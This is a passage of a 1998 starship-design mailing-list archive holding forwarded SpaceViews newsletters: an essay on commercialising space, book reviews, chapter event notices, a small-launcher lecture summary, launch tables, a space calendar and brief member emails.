50, No. 11, pp. 433-440, November 1997 Keith J. Scala, ""A History of Air-Launched Space Vehicles"", Quest, Vol. 3, No. 1, pp. 34-41, Spring 1994 [continued in part 2] >From VM Wed Jul 8 15:01:22 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""36357"" ""Wed"" ""8"" ""July"" ""1998"" ""08:05:25"" ""-0500"" ""L. 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Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'LIT Starship Design Group'"" Subject: starship-design: FW: SpaceViews -- July 1998 by Boston NSS [part 2 of 2] Date: Wed, 8 Jul 1998 08:05:25 -0500 -----Original Message----- From: SpaceViews-approval@nss.org [mailto:SpaceViews-approval@nss.org] Sent: Wednesday, July 01, 1998 1:41 PM To: undisclosed-recipients:; Subject: SpaceViews -- July 1998 by Boston NSS [part 2 of 2] [continued from part 1] Doing Space: Making It Happen by Timothy K. Roberts [Editor's Note: This is the third and final installment in the ""Doing Space"" series by Timothy K. Roberts. Part one, ""Speedbumps on the Road to Space,"" was published in the May issue. Part two, ""Why Do We Go?"", was published in the June issue.] If you've been following along in this miniseries, you've already gotten rid of some serious misconceptions about our space programs. And you've begun to think about the basic reasons we want to go to space -- or, indeed, anywhere. True believers are frustrated at the slow pace of progress to any of these ends. Potential investors are impatient with the lack of development of this new arena. Three-Step Evolution How do we make these things happen? Actually, we already know how. I'm not speaking of the technical problems but of the strategic ones -- how do we as Americans, as humans, go about getting into space on a serious basis? The answer is surprisingly mundane -- do what we've already done in similar situations. Every time a culture or a nation has seen advantage in moving into a new environment to explore and exploit and has done so successfully, it has followed a three-step process: 1) The government (or ruling group) has funded development of methods of transportation, exploration, and exploitation of the new environment. This has taken the form of royal investment in new ships, government incentives for new canals, federal funding for railroads and airports, and of course, national space programs to date. The reason for this is, again, simple: a new environment always means unknown risks and rewards. Private investors of any ilk will not stake their treasure on such unknowns. Only a body with vast resources and a perceived immunity to risk will confront such an investment environment. 2) Once the initial way has been cleared and technical feasibility has been demonstrated, private investors will begin to take on clearly defined pieces of the new environment with an eye to relatively easy profits. They will only do so with significant government help. Royal charters in the Americas, private toll roads, railroad expansion, and airport development are all examples of this step. In space, this is seen in the use of space for telecommunications. This is an area that the federal government invested heavily in for its own reasons, demonstrated feasibility of, and then created a market for. Only when there was a guaranteed return on investment would private industry take the plunge. 3) The final step is full commercial participation in exploiting the new environment. We can see this today in the communications satellite industry. Hughes doesn't need government support to make money from comsats -- they do quite nicely on their own, thank you. This last phase is where we really want to be, in all potential areas of space exploitation. As has been shown in many industries, true innovation and market expansion occurs best without government direction or involvement. The free market really does work -- eventually. Air transport followed the three-step model outlined above fairly cleanly through step two. After the initial inventions (developed, I must note, entirely privately), further development of practical air transport was closely tied to government investment in military aircraft. Airliners followed from bombers. Aerial navigation was perfected to ensure fighters and bombers could reach their intended targets. Virtually all significant improvements in aircraft started with a governmental need. Only when the government had assumed the initial risks and showed the feasibility of air transport would private industry become involved. And their first and largest customer? The federal government. It is a fact that commercial aviation as a long-range transportation industry only emerged as serious competition to ships and railroads after World War II, when the US government (primarily) invested heavily in precisely those things that an airline would need to compete. The complication comes in arriving at step three. Virtually all airports of any commercial importance are owned and operated by a governmental agency. Air traffic control is a national government monopoly with strong world-wide overtones and implications. Private companies may perform specific services in airports and air traffic control but they do so under government direction. This is a common characteristic of most transportation systems. Government build highways, harbors, airports, and, yes, spaceports. Governments control how these facilities will be used and by whom. The underlying reason is that transportation is a critical public need and can't be left in private hands. We'll revisit this point later on. Space Transportation's Three Steps So where are we in space? The answer is: all three steps. The federal government is very clearly deeply involved in research and development in virtually every phase of space exploration and exploitation, from basic transportation to data and telemetry transmission. There isn't a facet of ""space"" that the government isn't working on. However, there is, for example, a space transportation industry. It is clearly at step two -- it is dependent on government owned and operated spaceports and investors will only put private money into the most conservative rocket designs for production. There is virtually no significant private funding for new, innovative, cheap spacelift -- that's back at step one. There are step three segments as well. As noted earlier, the communications satellite industry acts as if it were a mature segment that isn't dependent on government support or investment. As a whole, however, ""space"" is between steps one and two. There really is no mature, self-sustaining ""space industry."" Too much still needs to happen. As a result, there aren't human beings ""living and working in space on the eve of the 21st century"" as NASA once touted for its goal. At best, we make brief forays into this new environment, maybe establish a primitive camp or two, and strive to learn more about it. We have a long way to go. We'll get to our goal of exploring and exploiting space on a routine basis if we consciously apply the three-step process to space. Here's what we need to do: First, we need to assess where we are in broad areas that characterize ""going to space"" -- transportation, structures, life support, power, etc. This is probably best done by the government with industry involvement. The output of this assessment will be an investment plan -- one that addresses the greatest risks and takes us to step two. Next, we need to spend taxpayers' dollars to reduce those risks to the point that private industry and investors will step up to the remaining share. This translates to investment in both technology development and use of the resulting capabilities to demonstrate its usefulness and low risk. Finally, we need to keep control of much of the basic infrastructure in government hands. This must be done for two reasons. The obvious one is public safety. Operating spacecraft, from launch to mission end, is a hazardous business. Fuels that are highly explosive, toxic materials, and high risks make for a dangerous business. The impact of a Chinese Long March 2 rocket into a village near the launch site and the estimated death toll of over 2,000 people highlights just how much we still don't know -- or can't do. A less obvious reason is that many missions performed in space are, in fact, public utilities. The NavStar Global Positioning System -- GPS -- is a clear example of this. Originally intended to guide cruise missiles to their targets, GPS is now far more widely used in civilian life than in the military. Even farm tractors use GPS! Public utilities must stay under some form of public control in order to ensure their availability to the entire population, not just an elite few. The ultimate end-state for space is, I believe, a situation where private industry does the vast majority of the exploiting, institutions like universities, NASA, and the National Science Foundation do the exploring, and the critical underlying infrastructure is at least regulated and, in some cases, operated by the federal government. The situation would resemble aviation in the late 20th century. This is a viable, self-sustaining state that maximizes innovation, discovery, and personal freedom while minimizing the avoidable risks. If the rate of progress of commercial aviation is any indicator, allowing for the potentially quicker development times now, we could reach this state by 2050. That may seem quite a long time, but it's really only 52 years from now. If one moves 52 years from 1925, when government did most of the work in aviation and the industry was tiny, one arrives at 1977 - certainly a time when commercial aviation was viable and self-sustaining. An Activist's Perspective This vision will require some disciplined investment, both publicly and privately. It will require a political will to stay the course for the long term. It will require broad-based public support over decades. In short, it will require us to address the US space program in an entirely new way, with a new set of stated objectives, and with a commitment rarely seen in American politics. We can do this. Will we? That, of course, remains to be seen. There are plenty of private organizations that would like to see this course of events unfold, perhaps more quickly or in a different sequence, but arriving at the same end state. Over the past couple of decades, groups like the National Space Society, the Planetary Society, and the L-5 Society, to name just a few, have striven to influence both the public's perception and public policy to these ends. Apparently, their impact is minimal because of the perceived low level of public and Congressional interest in exploring and exploiting space. The real job that lies ahead for space activists is to promote the entire agenda, not just a particular portion of it. One reason for the lack of success of many of these groups is that they are perceived as single-interest groups. They support specific projects -- SSTO, L-5 colonies, Return to the Moon, Mars Direct -- the unfamiliarity of some of these names indicates the problem. Certainly there are some investments that should precede others, but the key focus ought to be in general public awareness. Building public awareness and support for space can be translated into action for space, both politically and in business. The focus for space activists now is where the focus for aviation societies (they really did exist!) was in the 1910s and 1920s - advocacy of the entire agenda of creating a space-faring civilization. Convince the public that an American (or Canadian or French or . . .) goal is truly the conquest and settlement of the Solar System and that there is a believable timetable and the rest will follow. Lest you think I am overly optimistic in my view, recall what the environmental movement has done in the past twenty years. >From a random collection of radicals, extremists, and well-meaning but unsophisticated common citizens, the United States grew a strong environmental civic ethic, a veritable raft of laws that are enforced nationwide, and the rescue from extinction of several species scientists once thought headed for history. We can do this for space but only if we can forge a nation-wide coalition of space activists that agree both on the basic goal and the strategy to get there. The object of these articles has not been to build the political base for space activism -- that is best left to those who know politics best. The object is to buttress your knowledge of what is and is not and what we can do. Without clear understanding of our history, our rationale, and our goal, we won't go to space. Someone else will -- and they might not even want to sell us a ticket. We can avoid this future. We must. So keep a clear head, keep your eyes on the grand goal and tell everyone you meet: We're going out! Lead, follow, or get out of the way! Timothy K. Roberts is a lieutenant colonel in the U.S. Air Force, currently stationed at Cheyenne Mountain Operations Center where he is both a Space Control Center Commander and the Deputy Chief of Training. He has served in both Air Force Space Command and United States Space Command headquarters working on next-generation spacelifters and space surveillance. *** Book Reviews *** by Jeff Foust Comets Friend and Foe Comets: Creators and Destroyers by David H. Levy Touchstone, 1998 softcover, 256 pp., illus. ISBN 0-684-85255-1 US$12/C$17 The 1990s may be remembered as the decade of the comet. In this deacde we've witnessed two briliant naked-eye comets, Hyakutake and Hale-Bopp, and saw fragments of another comet, Shoemaker-Levy 9, pummel the planet Jupiter. Upcoming spacecraft missions, like Stardust, will yield more information about comtes in the coming years. It's in this context that astronomer David Levy provides us with a broadbased introduction to comets in ""Comets: Creators and Destroyers"" Comets, Levy reminds us, have helped the formation of life on Earth by supplying the young planets with volatiles like water and perhaps even amino acids and more complex chemicals. Comets have also wiped out much of the life they helped to start through cataclysmic impacts, such as the Chicxulub impact 65 million years ago. Long before their roles in creating and destroying life on Earth were understood, humans treated comets as omens, sometimes good, often bad. Levy's book provides a general introduction to comets, both from a scientific standpoint (their role in shaping life on Earth) and a historical one (how we have interpreted and understood comets through the ages.) He does stray from this topic later in the book, devoting a couple chapters to whether Mars, Europa, or other worlds in our solar system and beyond could support life -- a digression that's not uncommon in astronomy books these days, given in increasing interest in the subject. If you or someone you know is looking for a general introduction to comets that is quite readable and not overly technical, Levy's ""Comets"" is a good choice. Filling in the Drake Equation Other Worlds: The Search for Life in the Universe by Michael D. Lemonick Simon and Schuster, 1998 hardcover, 272pp., illus. ISBN 0-684-83294-1 US$25/C$35 Astronomy has been filled with a number of hot topics in recent years, including the search for, and discovery of, planets around other stars; evidence that primitive life once existed on Mars; the increasing likelihood of an ocean of liquid water under Europa's ice surface; and more. On the surface these topics may seem unrelated, but Michael Lemonick, a senior science writer at Time magazine, shows in ""Other Worlds"" that they are deeply connected as different factors in the search for life in the universe. Lemonick unifies these different fields of research through the Drake Equation: a series of factors put together by astronomer and SETI advicate Frank Drake nearly forty years ago, which attempts to estimate the number of intelligent species in the galaxy with whom we could communicate. Since Drake drafted this equation, the numbers people have plugged into it have been nothing more than wild guesses that reflect personal philosophies as much as hard science. What research like Mars life and extrasolar planets do, Lemonick notes, is help us nail down some of these Drake Equation values we have been guessing at, such as the fraction of stars that have planets and the fraction of planets that can support life. He takes us behind the scenes on several research projects, including the work of planet hunters Geoff Marcy and Paul Butler, SETI researchers Seth Shostak and Jill Tarter, and the team that found evidence of life in Martian meteorite ALH 84001. While perhaps prone to a bit of hyperbole (it would be tough to argue that the Drake equation is the second most important equation of the century after E=mc^2, given all the significant work in quantum mechanics and other fields), Lemonick has created a readable, enjoyable account of work in these areas in ""Other Worlds"". Those new to the field will find his descriptions of research enlightening; those familiar with the work will enjoy his personal accounts of the scientists. *** NSS News *** Boston NSS Upcoming Events Saturday, July 11, 11am-4pm Boston NSS Annual Picnic 102 Sanborn Lane, Reading, Mass. Come enjoy food, and a swimming pool, nerf rockets, badminton, other lawn games and children's games. And, find out what other NSS chapter members do outside the regular meetings. We may take a walk in the local town forest after 2 pm. Bring your children. Also, bring swimming suit, snacks, lunch food to share, and games. We will provide: barbeque grill, swimming pool, plates, cups. Please RSVP, leave message for Bruce Mackenzie, (617)258-2828 (10 am - 6 pm) or (781)944-7027 (8 - 9 pm) or BMackenzie@draper.com. Directions: Take I-93 or I-95 (rt. 128) to their interchange on the north side of Boston; Take I-93 4 miles north to the second exit, labeled ""Concord St."", at the end of the exit ramp, reset your 'trip odometer' to zero, Turn right, going east on Concord St. at a mileage reading of 1.25, there is a stop sign, bear right onto Park St. take the next right turn, at mileage 1.5, onto Mill St. (the stop light is too far) immediately after ""Old Mill Village"" on the right, at mileage 2.0, turn right on Sanborn Lane. Continue SLOWLY, past the signs say ""DO NOT ENTER"", ""NO TRESPASSING"", etc. At mileage 2.4, our house is on your left. A white house with A-frame, set lower and way from the road. Try to park in driveway or on dirt along left side of driveway. Tuesday, July 14, 7:30pm ""The Lunar-Mars Life Support Test Project Phase III 90-day Test: The Crew Perspective"" Vickie Kloeris, John Lewis, and Laura Supra The Lunar Mars Life Support Project Phase III test was a 91 day test of air and water recycling systems conducted at the Johnson Space Center from Sept. 19, 1997 to Dec. 19, 1997. Vickie Kloeris of the Johnson Space Center, John Lewis of Lockheed Martin Corporation, and Laura Supra of AlliedSignal Aerospace will be giving this presentation, and will describe life inside the chamber through video and slides. Boston NSS June Lecture Summary by Lynn Olson Can a small group build a launch vehicle to launch a small spacecraft into LEO (Low Earth Orbit)? Rainier Anacker was inspired to investigate this question by the February talk of Supriya Chakrabarti on the building of a satellite by students and young investigators at Boston University. Anacker wondered what it would take to build a launch vehicle capable of launching such a small satellite. At the June meeting of the Boston Chapter of the National Space Society he walked the audience through some of the design issues. The first task is to determine what ""delta v"" or velocity change the rocket must deliver. A spacecraft in LEO has a velocity of ~7.8 kilometers per second (km/s). After adding in velocity losses due to gravity and atmospheric drag and subtracting the boost given by the earth's rotation, a typical rocket will require 9.2 km/s (20,500 mph) to boost a satellite in to orbit. Given this velocity requirement, the rocket equation can be used to calculate other rocket parameters. The rocket equation says that the mass ratio (ratio of initial mass to final mass) is equal to the exponential of the ratio of the velocity requirement (9.2 km/s) to the rocket exhaust velocity. The final mass is the payload plus inert mass. Inert mass includes tanks, engines, guidance electronics, etc. The initial mass is the final mass plus the propellant. Low inert mass and high exhaust velocity are necessary to achieve high rocket performance. Exhaust velocity is usually quoted as specific impulse, which is the number of seconds a pound of rocket propellant can produce a pound of thrust, because it is easier to measure. Specific impulse and exhaust velocity are directly proportional to each other. Anacker first analyzed an SSTO (Single Stage To Orbit) launcher with a 100 kg payload. This turned out to be very tough. Using the rocket equation, he showed that either the initial mass had to be enormous or ""unobtainium"" must be used to reduce the inert mass, even using high performance hydrogen/oxygen rocket engines with average specific impulse of 400 or more seconds. This is currently a hot topic of research with the NASA/Lockheed Martin X-33 effort, but not realistic for a small university or other group. He then presented a two stage rocket using gasoline and nitric acid which could launch a small satellite with fairly low specific impulse (260, 290 seconds for first, second stages) and inert fraction within current state of the art. No advances would be required. The actual cost would depend on R&D, hardware, operations, and propellant costs, but the project appears to be doable on a relatively small scale. Universities are very interested in a small satellite launcher such as Anacker proposes. The Universities Space Research Association was the advocate of NASA's Bantam Launch Technologies program, which aims to put a 100 kilogram satellite in orbit for $1.5M. NASA administrator Dan Goldin pledged to meet this goal recently, even though initial studies awarded to four companies did not meet the cost target and follow up funds were redirected. (Space News, June 8-14, 1998). Philadelphia Area Space Alliance News by Jay Haines PASA regular business luncheon/formal meeting from 1-3 pm the 3rd Saturday of every month at Liberty One food court, 16th & Market. Go toward the windows, then to the left. Public parking in Liberty on 17th St. Scheduled PASA activities: regular monthly meetings: July 18th (special location), Aug. 15th, Sept. 19th. Other activities: Nov. 13th-15th: Philcon. Call Earl for details. June Meeting Report: Oscar Harris gave the Education report, covering the timetable for the Carver Science Fair for 1998-99 at Temple Univ. and the Academy of Natural Sciences, and our plans to judge and present an award for space-oriented projects. Earl Bennett mentioned a local middle-school project on the Mars rover, a 5/98 NASA Tech Briefs article on a Get Away Special project by the U Michigan SEDS group, and a Summer 98 Robotics World article on the For Inspiration and Recognition of Science and Technology (FIRST) National Competition at WDW Epcot in April, and a NJ ex-astronaut who is associated with it. Hank Smith gave the Science Fiction report, covering the Aug. 5th-9th Bucconeer 56th Annual World Science Fiction Convention in Baltimore, the Nov. 13th- 15th Philadelphia Science Fiction Convention, and the Philadelphia 2001 World Science Fiction Convention bid. Mitch Gordon gave the NSS report, covering the 5-6/98 Ad Astra articles on space tourism, and the Public Relations report, covering his progress on next Spring's FutureFest, and discussions with Derrick Pitts of the Franklin Institute on plans for celebrating the 1999 30th anniversary of the lunar landing. Michelle Baker mentioned that we had received the Lockheed- Martin VentureStar poster. Michelle also gave the new ProSpace report, covering the Space Commercialization Act which is now in the Senate, having passed the House. Oscar reported on the 5/98 Architectural Record article by Robert Zubrin, 'Building on Mars and living off the land.' Jay Haines reported on our Web site (28 accesses from 5/21 to 6/20). Earl gave the Technology report, covering a 6/98 Photonic Spectrum article on measuring astronauts' motion sickness, a 6/98 Industrial Physicist article on using ion engines on geostationary satellites to save 400Kg of launch weight in fuel, and using aerogel to contain the heat of the ion engines. Earl also covered a 7-8/98 Analog Science Fiction and Fact Alternate View article by Jeffery Kooistra, 'The Golden Age of Rocketry,' wherein he gives an appreciation for G. Harry Stein. Our next meeting will be an outing to Atlantic City NJ: we meet on Sat., 7/18 at 6 p.m. at the Ocean One Mall food area on the 3rd floor. Go toward the windows, then to the right. Park at the Trump Plaza and walk north on the boardwalk to Ocean One. *** Regular Features *** Jonathan's Space Report No. 364 by Jonathan McDowell [Ed. Note: Go to http://hea-www.harvard.edu/QEDT/jcm/space/jsr/jsr.html for back issues and other information about Jonathan's Space Report.] Shuttle and Mir The next Shuttle mission is STS-95, in October. On the Mir space station complex, the Progress M-39 cargo ship is docked to the Kvant module, and the Soyuz TM-27 transport is docked to the PKhO transfer module on the Mir base compartment. The EO-25 mission crew of Talgat Musabaev and Nikolai Budarin are scheduled to be replaced in August by EO-26 crew Gennadiy Padalka and Sergey Avdeev. Recent Launches HGS-1, following a second lunar flyby on Jun 6, successfully reached inclined geosynchronous orbit and is now drifting over the Pacific at 0.5 degree per day. On Jun 19 it was over 152W in a 35681 x 35963 km x 8.7 deg orbit. The Hughes team deserve to be congratulated on this spectacular and innovative rescue mission. Intelsat 805 was launched by an Atlas 2AS on Jun 18 into a standard geostationary transfer orbit. Intelsat 805 is an LM7000 series satellite built by Lockheed Martin/East Windsor. Launch mass is 3520 kg; the satellite has 28 C-band and 3 Ku-band transponders, and will initially serve the Atlantic Ocean region for INTELSAT. Two Minuteman III missiles were launched from Vandenberg to Kwajalein Atoll on Jun 24, one from silo LF-09 and the second from LF-10. Each carried three re-entry vehicles. Erratum: Thor 3 launch date was Jun 10, not Jun 11. Table of Recent Launches Date UT Name Launch Vehicle Site Mission INTL. DES. May 2 0916 Iridium 69 CZ-2C/SD Taiyuan Comsat 26A Iridium 71 Comsat 26B May 7 0853 Kosmos-2351 Molniya-M Plesetsk Early Warn 27A May 7 2345 Echostar 4 Proton-K/DM3 Baykonur Comsat 28A May 9 0138 USA 139 Titan Centaur Canaveral SLC40 Sigint 29A May 13 1552 NOAA 15 Titan 2 Vandenberg SLC4W Weather 30A May 14 2212 Progress M-39 Soyuz-U Baykonur LC1 Cargo 31A May 17 2116 Iridium 70) Delta 7920 Vandenberg SLC2W Comsat 32A Iridium 72) Comsat 32B Iridium 73) Comsat 32C Iridium 74) Comsat 32D Iridium 75) Comsat 32E May 30 1000 Zhongwei 1 CZ-3B Xichang Comsat 33A Jun 2 2206 Discovery ) Shuttle Kennedy LC39A Spaceship 34A Spacehab ) Jun 10 0035 Thor 3 Delta 7925 Canaveral LC17A Comsat 35A Jun 15 2258 Kosmos-2352 ) Tsiklon-3 Plesetsk LC32 Comsat 36A Kosmos-2353 ) Comsat 36B Kosmos-2354 ) Comsat 36C Kosmos-2355 ) Comsat 36D Kosmos-2356 ) Comsat 36E Kosmos-2357 ) Comsat 36F Jun 18 2248 Intelsat 805 Atlas 2AS Canaveral LC36A Comsat 37A Current Shuttle Processing Status __________________________________ Orbiters Location Mission Launch Due OV-102 Columbia OPF Bay 3 STS-93 Unknown OV-103 Discovery OPF Bay 2 STS-95 Oct 29 OV-104 Atlantis Palmdale OMDP OV-105 Endeavour OPF Bay 1 STS-88 Unknown MLP/SRB/ET/OV stacks MLP1/ MLP2/ MLP3/ Space Calendar by Ron Baalke [Ed. Note: visit http://newproducts.jpl.nasa.gov/calendar/ for the complete calendar] July 1998 Jul ?? - Celestis-03 Pegasus XL Launch * Jul ?? - ORBCOMM-2 Pegasus XL Launch * Jul ?? - Resurs Zenit Launch (Russia) Jul 01 - Asteroid 6748 (1995 UV30) Closest Approach to Earth (1.066 AU) * Jul 04 - Planet B M-5 Launch (Japan Mars Mission) Jul 04 - Earth at Aphelion (1.017 AU From Sun) Jul 04 - Henrietta Leavitt's 130th Birthday (1868) Jul 05 - Asteroid 4953 (1990 MU) Closest Approach to Earth (0.615 AU) Jul 05 - Asteroid 1992 JB Closest Approach to Earth (0.872 AU) Jul 06 - Asteroid 5672 Libby Closest Approach To Earth (1.477 AU) Jul 06 - Asteroid 5657 (1936 QE1) Closest Approach To Earth (1.569 AU) Jul 09 - Asteroid 1862 Apollo Near-Earth Flyby (0.339 AU) Jul 09 - Pluto Occults P42 (14.7 Magnitude Star) Jul 10 - Asteroid 7 Iris at Opposition (8.6 Magnitude) Jul 12 - Comet Arend-Rigaux Perihelion (1.371 AU) Jul 12 - Asteroid 1998 KM3 Near-Earth Flyby (0.253 AU) Jul 12 - 10th Anniversary (1988), Phobos 2 Launch (Soviet Mars Orbiter) * Jul 14 - Sinosat 1 Long March 3B Launch Jul 14 - Moon Occults Jupiter Jul 15 - Asteroid 1993 PB Closest Approach to Earth (0.590 AU) Jul 15 - Asteroid 3551 Verenia Closest Approach to Earth (0.794 AU) Jul 15 - Asteroid 6708 Bobbievaile Closest Approach To Earth (1.002 AU) Jul 16 - GPS IIR-3 Delta 2 Launch Jul 16 - Comet Arend-Rigaux Closest Approach to Earth (2.354 AU) Jul 16 - Asteroid 4973 Showa Closest Approach To Earth (2.726 AU) Jul 17 - Mercury at Greatest Eastern Elongation (27 Degrees) * Jul 17 - Comet C/1998 K5 (LINEAR) Perihelion (0.964 AU) Jul 17 - Asteroid 432 Pythia at Opposition (10.9 Magnitude) Jul 17 - Comet Russell 3 Closest Approach to Earth (1.941 AU) Jul 18 - Galileo, Orbital Trim Maneuver #50 (OTM-50) Jul 18 - Asteroid 6460 Bassano Closest Approach To Earth (1.481 AU) Jul 18 - Asteroid 6172 Prokofeana Closest Approach To Earth (1.888 AU) Jul 19 - Asteroid 6232 1985 SJ3 Closest Approach To Earth (0.963 AU) Jul 19 - Asteroid 4295 Wisse Closest Approach To Earth (1.165 AU) Jul 19 - Asteroid 6022 Jyuro Closest Approach To Earth (1.319 AU) * Jul 20 - Iridium Long March 2C/SD Launch Jul 20 - Asteroid 43 Ariadne at Opposition (9.1 Magnitude) Jul 20 - Comet Shoemaker 1 Closest Approach to Earth (1.897 AU) Jul 21 - Galileo, Europa 16 Flyby Jul 21 - Asteroid 59 Elpis Occults TAC -106880 (11.1 Magnitude) Jul 21 - Asteroid 4644 Oumu Closest Approach To Earth (1.375 AU) Jul 21 - 25th Anniversary (1973), Mars 4 Launch (USSR Mars Flyby Mission) Jul 23 - Neptune at Opposition Jul 23 - Asteroid 6682 (1973 ST3) Closest Approach To Earth (1.484 AU) Jul 25 - Galileo, Orbital Trim Maneuver #51 (OTM-51) Jul 25 - DOD US Air Force Titan 4 Launch Jul 25 - Asteroid 4021 Dancey Closest Approach To Earth (1.143 AU) Jul 25 - Asteroid 3553 Mera Closest Approach To Earth (1.407 AU) Jul 25 - 25th Anniversary (1973), Mars 5 Launch (USSR Mars Orbiter Mission) Jul 26 - Iridium 10 Delta 2 Launch * Jul 26 - Asteroid 1998 ME3 Near-Earth Flyby (0.120 AU) Jul 26 - Asteroid 6742 Biandepei Closest Approach To Earth (1.052 AU) Jul 26 - 35th Anniversary (1963), Syncom 2 Launch, 1st Geosynchronous Satellite * Jul 27 - Kuiper Belt Object 1998 KY61 At Opposition (44.803 AU - 24.1 Magnitude) Jul 28 - 25th Anniversary (1973), Skylab-3 Launch Jul 29 - South Delta-Aquarids Meteor Shower Peak Jul 29 - Asteroid 1998 HL3 Near-Earth Flyby (0.246 AU) ================================== This is the current issue of ""SpaceViews"" (tm), published by the Boston Chapter, National Space Society (NSS), distributed in electronic form. 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SSI now has its own domain name. Please change your link to the following URL: http://www.ssi.org/ Thanks and Regards, Mike Combs SSI Webmaster --part0_900174821_boundary-- >From VM Mon Jul 13 09:34:54 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""185"" ""Sat"" ""11"" ""July"" ""1998"" ""16:13:52"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""9"" ""starship-design: Enterprize sighted by Hubble ;)"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 185 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id NAA02533 for starship-design-outgoing; Sat, 11 Jul 1998 13:14:36 -0700 (PDT) Received: from imo17.mx.aol.com (imo17.mx.aol.com [198.81.17.7]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id NAA02528 for ; Sat, 11 Jul 1998 13:14:32 -0700 (PDT) Received: from KellySt@aol.com by imo17.mx.aol.com (IMOv14_b1.1) id 2ANAa02269 for ; Sat, 11 Jul 1998 16:13:52 -0400 (EDT) Message-ID: <3a73c273.35a7c781@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: Enterprize sighted by Hubble ;) Date: Sat, 11 Jul 1998 16:13:52 EDT In case the face on Mars wasn't bad enough. The Hubble has now given us conclusive proof in the existence of Star Trek. > >http://smart.net/~badastro/bitesize/startrek.html > Kelly >From VM Mon Jul 20 09:49:20 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""199"" ""Mon"" ""20"" ""July"" ""1998"" ""00:07:16"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""13"" ""starship-design: Re: brochure"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 199 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id VAA08777 for starship-design-outgoing; Sun, 19 Jul 1998 21:08:06 -0700 (PDT) Received: from imo18.mx.aol.com (imo18.mx.aol.com [198.81.17.8]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id VAA08771 for ; Sun, 19 Jul 1998 21:08:03 -0700 (PDT) Received: from KellySt@aol.com by imo18.mx.aol.com (IMOv14_b1.1) id OZEYa29489; Mon, 20 Jul 1998 00:07:16 -0400 (EDT) Message-ID: <677c178c.35b2c275@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: deuard@ix.netcom.com, starship-design@lists.uoregon.edu Subject: starship-design: Re: brochure Date: Mon, 20 Jul 1998 00:07:16 EDT In a message dated 7/18/98 2:39:06 PM, you wrote: >Kelly, > >The brochure link didn't work for me on the LIT page. > >deuard worthen I'll forward the problem to the group for maintenence. Kelly >From VM Fri Jul 24 14:21:29 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""36696"" ""Tue"" ""21"" ""July"" ""1998"" ""18:16:59"" ""-0500"" ""L. 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Clayton Parker"" From: ""L. Clayton Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'LIT Starship Design Group'"" Subject: starship-design: FW: SpaceViews Update -- 1998 July 15 Date: Tue, 21 Jul 1998 18:16:59 -0500 -----Original Message----- From: SpaceViews-approval@nss.org [mailto:SpaceViews-approval@nss.org] Sent: Tuesday, July 21, 1998 8:32 AM To: undisclosed-recipients:; Subject: SpaceViews Update -- 1998 July 15 S P A C E V I E W S U P D A T E 1998 July 15 http://www.spaceviews.com/1998/0715/ *** Top Stories *** Planet-B Launched on Mars Mission Researchers Find Evidence Against Martian Nanofossils Astronomers Discover Nearby Developing Solar System Baikonur Problems Delay Soyuz Launch *** Technology *** Japanese Satellites Test Docking Techniques AXAF Completes Environmental Tests Zenit, Sub-Based Missile Launch Satellites *** Policy *** Senate Vote Supports Space Station NASA Creates Near-Earth Object Office Movie Producers Challenged to Match NEO Grant *** Science *** Io Volcanoes Hottest in Solar System New Type of Near-Earth Asteroids Discovered European Astronomers Discover Another Extrasolar Planet *** CyberSpace *** The Space Weather Bureau Orbit-on-Web The Moon Race Homepage Wired Collections: Space Exploration *** Space Capsules *** SpaceViews Event Horizon Other News Editor's Note: We apologize for the delay mailing this issue. Problems with the mailing list software at ARI, the company that hosts the list, caused the delays. We are looking into solutions to prevent this from happening again. Please feel free to send any comments, concerns, suggestions, or question to jeff@spaceviews.com. Our next issue will be published August 1. *** Top Stories *** Planet-B Launched on Mars Mission A rocket carrying the Planet-B spacecraft, Japan's first Mars mission, lifted off early Saturday, July 4, on the first anniversary of the landing of the American Mars Pathfinder spacecraft. The M-5 rocket launched from the Kagoshima Space Center on the island of Kyushu in the predawn hours Saturday (late afternoon Friday EDT). The booster successfully placed Planet-B, renamed Nozomi (""Hope"") after launch, into Earth orbit. Because the M-5 rocket is not powerful enough to place Nozomi on a direct trajectory to Mars, the spacecraft will spend the next several months in an elliptical Earth orbit. Two lunar flybys will provide the final kick needed to reach Mars. Once Nozomi arrives at Mars in October 1999, it will enter an elliptical orbit around the planet. A suite of 14 instruments from five nations, including the United States, will study the planet's upper atmosphere and ionosphere. When close to Mars, the spacecraft will carry out studies of the lower atmosphere and surface of the planet, and study the interaction of the atmosphere with the solar wind in more distant portions of its orbit. The interaction of the outer atmosphere with the solar wind is of particular interest to scientists since Mars, unlike the Earth, lacks a magnetic field to shield the atmosphere from the solar wind's charged particles. The solar wind may have played a key role in stripping gas from the Martian atmosphere, and data collected by Planet-B may provide clues to this process. The United States is contributing a neutral mass spectrometer (NMS) to the Planet-B mission. ""The Neutral Mass Spectrometer will enable us to measure the chemical composition of the upper atmosphere of Mars on a global scale, which has never been done before,"" said Dr. Hasso B. Niemann, the NMS principal investigator at NASA's Goddard Space Flight Center. Nozomi was launched almost exactly one year after Mars Pathfinder landed on the Red Planet. Japanese officials said the launch date for Nozomi was chosen as a way of honoring the American lander's 